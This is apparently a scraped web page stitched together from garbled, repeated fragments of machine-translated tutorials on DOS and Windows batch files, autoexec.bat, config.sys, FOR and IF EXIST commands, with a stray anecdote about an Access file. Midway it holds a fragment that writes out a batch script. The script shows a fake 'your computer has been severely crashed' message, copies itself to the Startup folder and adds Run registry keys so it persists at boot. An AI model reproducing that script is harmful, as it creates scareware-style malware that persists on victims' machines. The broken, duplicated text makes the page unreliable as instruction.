In Windows XP, autoexec. BAT and config. sys are not used. The two files are empty autoexec. BAT and config. sys is a text file and can be opened directly in notepad. aiuoexec. BAT was used in earlier DOS to execute batch processing commands when the system was started. conf
optical drive driver into the upper memory. Note: If you want to use the optical drive under DOS, it is best to configure config. run the installation file of the driver under DOS drive before sys, and then install the installation program in config. sys and autoexec. write down the statements added to the BAT files and add these statements when configuring multiple Enis. Because all types of optical drive
Autoexec. BAT: the automatic batch processing file is a very important file in DOS, Win95/98. It can be used to call multiple
Program, Or display the description on the screen
Clear information. This file is not required in the Windows XP operating system. However, by default
XP will still process the content in this file at startup, which may cause some malicious programs to crash, such as in
Today, my colleague sent me an access file and opened it and jumped out of a form. I want to see some properties of this form. I didn't expect the file to be automatically closed after I pressed the design view button. # % $ *@! # ^ ?, Challenge me!
Open the file again and clickToolsMenu>StartupIn general, the form started when the access file is opened is set here, but there is nothing in the main here. I originally wanted to cancel the form opening here.
Let's take a look at the other one
particular command.
For example, there is one row in a batch file:
For%%c in (*.bat *.txt) do type%%c
The command line displays the contents of all files with bat and txt extensions under the current directory.
Batch processing sample
1. If-exist
1)
First use Notepad to create a test1.bat batch file in C:\, which reads as follows:
@echo off
IF EXIST \
your DOS search path) so that it can run in any location. A good habit is to create a bat or batch directory (for example, C: \ BATCH) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set c: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/Me systems, C: AUTOEXEC under the
and txt extensions under the current directory.
Batch processing sample
1. If-exist
1)
First use Notepad to create a test1.bat batch file in C:\, which reads as follows:
@echo off
IF EXIST \autoexec. BAT TYPE \autoexec. BAT
IF not EXIST \
displays the contents of all files with bat and txt extensions under the current directory.
Batch processing sample
1. If-exist
1)
First use Notepad to create a test1.bat batch file in C:\, which reads as follows:
@echo off
IF EXIST \autoexec. BAT TYPE \autoexec.
segment ends with Goto end, and then the program displays the good bye, and the batch run ends.
The For loop command, which executes the same command multiple times, as long as the condition is met.
Grammar:Executes a specific command on each file in a set of files.
For%%variable in (set) do command [Command-parameters]
%%variable specifies a single letter replaceable parameter.(set) to specify one or a set of files. You can use wildcard characters.command specifies the commands that are ex
run in any location. A good habit is to create a bat or batch directory (for example, c: \ batch) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set C: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/me systems, C: autoexec under the root directory.
to inform you that your computer has been severely crashed, please again
Install system to resolve this issue
!^.^ >>d:\setup.bat
echo Copy D:\setup.bat c:\Documents "and" "Settings\All" "users\" Start "menu \ Program \ Boot
\a.bat >>d:\setup.bat
echo REG ADD hkey_local_machine\software\microsoft\windows\currentversion\run/v
setup.bat/t reg_sz/d D:\setup.bat
/F >>d:\setup.bat
echo REG ADD hkey_current_user\software\microsoft\windows\currentversion\run/v
setup.bat/t reg_sz/d D:\setup.ba
batch directory (for example, C: \ BATCH) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set c: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/Me systems, C: AUTOEXEC under the root directory. BAT batch files are automatically run batch files. Each time the system star
batch processing capability depends on the commands you use.Third, each written batch processing file is equivalent to a DOS external command. You can put the directory in your DOS search path) so that it can run in any location. A good habit is to create a bat or batch directory (for example, C: \ BATCH) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set c: \ batch in the path,
a bat or batch directory (for example, c: \ batch) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set C: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/me systems, C: autoexec under the root directory. bat batch files are
process control statements (goto, you can also use the for statement to execute a command cyclically in batches. Of course, the programming capability of batch processing files is very limited than that of C language and other programming statements, and it is also very nonstandard. The program statements for batch processing are several DOS commands (including internal commands and external commands). The batch processing capability depends on the commands you use.
Third, each written batch pr
search path.
Path to make it run anywhere. A good habit is to create a bat or batch directory on the hard disk (for example
C:/batch), and then put all the batch files you have written into this directory, So that you only need to set C:/batch in path, you can
To run all your batch processing programs anywhere.
Fourth, in DOS and Win9x/me systems, the autoexec. bat
Bat Encryption Script(Save As. BAT file)
@echo off
Cls
Color 2a
: Start
Cls
Echo *******************************************************************************
Echo * *
echo * BAT Encryption final version *
Echo * *
Echo *******************************************************************************
Echo.
Echo.
Echo Bat
directory (for example, C: \ BATCH) on the hard disk, and then put all the batch files you have compiled into this directory, in this way, you only need to set c: \ batch in the path, and you can run all your batch processing programs at any location.
Fourth, in DOS and Win9x/Me systems, C: AUTOEXEC under the root directory. BAT batch files are automatically run batch files. Each time the system starts, th
create a bat or batch directory (such as C:/batch) on the hard disk, and then put all the batch files you have written into this directory, in this way, you only need to set C:/batch in the path, and you can run all your batch processing programs at any location.Fourth, in DOS and Win9x/me systems, C: autoexec under the root directory. bat batch files are automa
The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion;
products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the
content of the page makes you feel confusing, please write us an email, we will handle the problem
within 5 days after receiving your email.
If you find any instances of plagiarism from the community, please send an email to:
info-contact@alibabacloud.com
and provide relevant evidence. A staff member will contact you within 5 working days.